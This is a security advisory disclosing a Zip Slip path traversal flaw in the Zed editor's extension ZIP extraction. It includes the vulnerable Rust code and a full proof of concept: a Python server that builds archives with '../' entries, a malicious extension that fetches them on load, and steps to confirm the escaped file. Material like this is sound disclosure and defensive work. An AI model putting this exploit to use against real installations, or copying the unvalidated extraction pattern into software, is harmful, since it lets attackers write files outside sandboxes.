Skip to content

Zip Slip Path Traversal in Extension Archive Extraction

High
swannysec published GHSA-v385-xh3h-rrfr Feb 25, 2026

Package

No package listed

Affected versions

<v0.224.4

Patched versions

>=v0.224.4

Description

Summary

A Zip Slip (Path Traversal) vulnerability exists in Zed's extension archive extraction functionality. The extract_zip() function in crates/util/src/archive.rs fails to validate ZIP entry filenames for path traversal sequences (e.g., ../). This allows a malicious extension to write files outside its designated sandbox directory by downloading and extracting a crafted ZIP archive.

Severity: High (CVSS 7.5-8.5)
CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')


Details

Vulnerable Code Location

The vulnerability exists in two places within crates/util/src/archive.rs:

Windows implementation (lines 20-25):

let path = destination.join(
    entry
        .filename()
        .as_str()
        .context("reading zip entry file name")?,
);

Unix implementation (lines 82-87):

let path = destination.join(
    entry
        .filename()
        .as_str()
        .context("reading zip entry file name")?,
);

Root Cause

The code joins the destination path with the raw ZIP entry filename from entry.filename().as_str() without validating that:

  1. The filename doesn't contain ../ path traversal sequences
  2. The resulting path remains within the destination directory

This is then passed directly to std::fs::create_dir_all() and smol::fs::File::create(), allowing files to be written outside the intended extraction directory.

Why Existing Sandbox Validation Doesn't Help

Zed does implement sandbox validation via writeable_path_from_extension() in crates/extension_host/src/wasm_host.rs:

pub fn writeable_path_from_extension(&self, id: &Arc<str>, path: &Path) -> Result<PathBuf> {
    let extension_work_dir = self.work_dir.join(id.as_ref());
    let path = normalize_path(&extension_work_dir.join(path));
    anyhow::ensure!(
        path.starts_with(&extension_work_dir),
        "cannot write to path {path:?}",
    );
    Ok(path)
}

However, this validation only applies to the destination directory parameter passed by the extension, not to individual filenames within the ZIP archive. The attack exploits this gap:

  1. Extension calls download_file(url, "tool", Zip)
  2. writeable_path_from_extension() validates "tool" → passes ✓
  3. ZIP is extracted, but entry filenames like ../escaped.txt are not validated
  4. Files escape the intended directory

Library Note

Zed uses async_zip = "0.0.18". The maintainers of this library have explicitly stated they will not implement Zip Slip protections—developers must implement their own validation.


PoC

Prerequisites

  • Zed installed
  • Python 3 (for the malicious HTTP server)
  • Rust toolchain (for building the extension)

Step 1: Create the Malicious HTTP Server

Create a file malicious_server.py:

#!/usr/bin/env python3
"""Malicious HTTP server serving a crafted ZIP with path traversal entries."""

import http.server
import socketserver
import io
import zipfile
from datetime import datetime

PORT = 8888

MALICIOUS_ENTRIES = [
    ("README.txt", b"Legitimate file."),
    ("../escaped_level1.txt", b"[EXPLOIT] Escaped one level!"),
    ("../../escaped_level2.txt", b"[EXPLOIT] Escaped two levels - outside extension sandbox!"),
]

def create_malicious_zip():
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        for filename, content in MALICIOUS_ENTRIES:
            info = zipfile.ZipInfo(filename)
            info.compress_type = zipfile.ZIP_DEFLATED
            zf.writestr(info, content)
    buffer.seek(0)
    return buffer.getvalue()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        zip_data = create_malicious_zip()
        self.send_response(200)
        self.send_header("Content-Type", "application/zip")
        self.send_header("Content-Length", len(zip_data))
        self.end_headers()
        self.wfile.write(zip_data)
        print(f"[{datetime.now()}] Served malicious ZIP")

if __name__ == "__main__":
    print(f"Malicious server running on http://127.0.0.1:{PORT}/")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        httpd.serve_forever()

Run it:

python3 malicious_server.py

Output:

Malicious server running on http://127.0.0.1:8888/

Step 2: Create the Malicious Extension

Create the following directory structure:

malicious-extension/
├── Cargo.toml
├── extension.toml
├── languages/
│   └── plaintext/
│       └── config.toml
└── src/
    └── zipslip_poc.rs

Cargo.toml:

[package]
name = "zipslip-poc"
version = "0.1.0"
edition = "2021"

[workspace]

[lib]
path = "src/zipslip_poc.rs"
crate-type = ["cdylib"]

[dependencies]
zed_extension_api = "0.5.0"

extension.toml:

id = "zipslip-poc"
name = "ZipSlip PoC"
description = "Proof of Concept for Zip Slip vulnerability"
version = "0.1.0"
schema_version = 1
authors = ["Security Researcher"]

[language_servers.zipslip-lsp]
name = "ZipSlip LSP"
language = "Plain Text"

[[capabilities]]
kind = "download_file"
host = "*"
path = ["**"]

src/zipslip_poc.rs:

use zed_extension_api::{self as zed, DownloadedFileType, LanguageServerId, Result};

struct ZipSlipExtension;

impl ZipSlipExtension {
    fn trigger_exploit(&self) -> Result<()> {
        // Download malicious ZIP from attacker-controlled server
        zed::download_file(
            "http://127.0.0.1:8888/malicious.zip",
            "exploit-test",
            DownloadedFileType::Zip
        )
    }
}

impl zed::Extension for ZipSlipExtension {
    fn new() -> Self {
        let ext = Self;
        let _ = ext.trigger_exploit();  // Trigger on extension load
        ext
    }

    fn language_server_command(
        &mut self,
        _language_server_id: &LanguageServerId,
        _worktree: &zed::Worktree,
    ) -> Result<zed::Command> {
        Err("PoC extension".to_string())
    }
}

zed::register_extension!(ZipSlipExtension);

languages/plaintext/config.toml:

name = "Plain Text"
grammar = "plaintext"
path_suffixes = ["txt"]

Step 3: Install the Extension in Zed

  1. Build the extension:
cd malicious-extension
rustup target add wasm32-wasip1
cargo build --target wasm32-wasip1 --release
  1. In Zed, open Command Palette (Cmd+Shift+P / Ctrl+Shift+P)
  2. Run: zed: install dev extension
  3. Select the malicious-extension directory

Step 4: Verify the Exploit

Check the extensions work directory for escaped files:

macOS:

ls -la ~/Library/Application\ Support/Zed/extensions/work/

Linux:

ls -la ~/.local/share/zed/extensions/work/

Expected Output:

total 8
drwxr-xr-x  5 user  staff  160 Dec 28 16:49 .
drwxr-xr-x  7 user  staff  224 Dec 28 16:49 ..
-rw-------  1 user  staff   70 Dec 28 16:50 escaped_level2.txt   ← ESCAPED!
drwxr-xr-x  4 user  staff  128 Dec 28 16:49 zipslip-poc

Verify the escaped file content:

cat ~/Library/Application\ Support/Zed/extensions/work/escaped_level2.txt

Output:

[EXPLOIT] Escaped two levels - outside extension sandbox!

Result

The file escaped_level2.txt is written to the work/ directory, outside the extension's designated zipslip-poc/ subdirectory. This proves arbitrary file write outside the extension sandbox.

Impact

Who is Affected

  • All Zed users who install third-party extensions
  • Extensions can download ZIP files from any URL (with appropriate capability)
  • No user interaction required beyond installing the extension

Attack Scenarios

  1. Configuration Tampering: Overwrite Zed settings files to modify editor behavior
  2. Credential Theft: Write malicious files to locations that may be executed or sourced
  3. Supply Chain Attacks: A compromised extension repository could distribute malicious extensions
  4. Sandbox Escape: Bypass Zed's extension isolation security model

Severity Justification

  • Attack Complexity: Low (requires user to install extension)
  • Privileges Required: Low (user must install extension)
  • User Interaction: Required (install extension)
  • Scope: Changed (escapes extension sandbox)
  • Integrity Impact: High (arbitrary file modification)

Recommended Fix

Add path traversal validation in crates/util/src/archive.rs before file creation:

let entry_filename = entry
    .filename()
    .as_str()
    .context("reading zip entry file name")?;

// Reject entries with path traversal sequences
if entry_filename.contains("..") || entry_filename.starts_with('/') {
    anyhow::bail!(
        "Zip entry contains invalid path components: {}",
        entry_filename
    );
}

let path = destination.join(entry_filename);

// Double-check: ensure resulting path is within destination
let canonical_destination = destination.canonicalize()?;
let canonical_path = fs::normalize_path(&path);
if !canonical_path.starts_with(&canonical_destination) {
    anyhow::bail!(
        "Zip entry would escape destination directory: {:?}",
        entry_filename
    );
}

This validation should be applied in both the Windows (line 20) and Unix (line 82) implementations.


References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

CVE ID

CVE-2026-27800

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits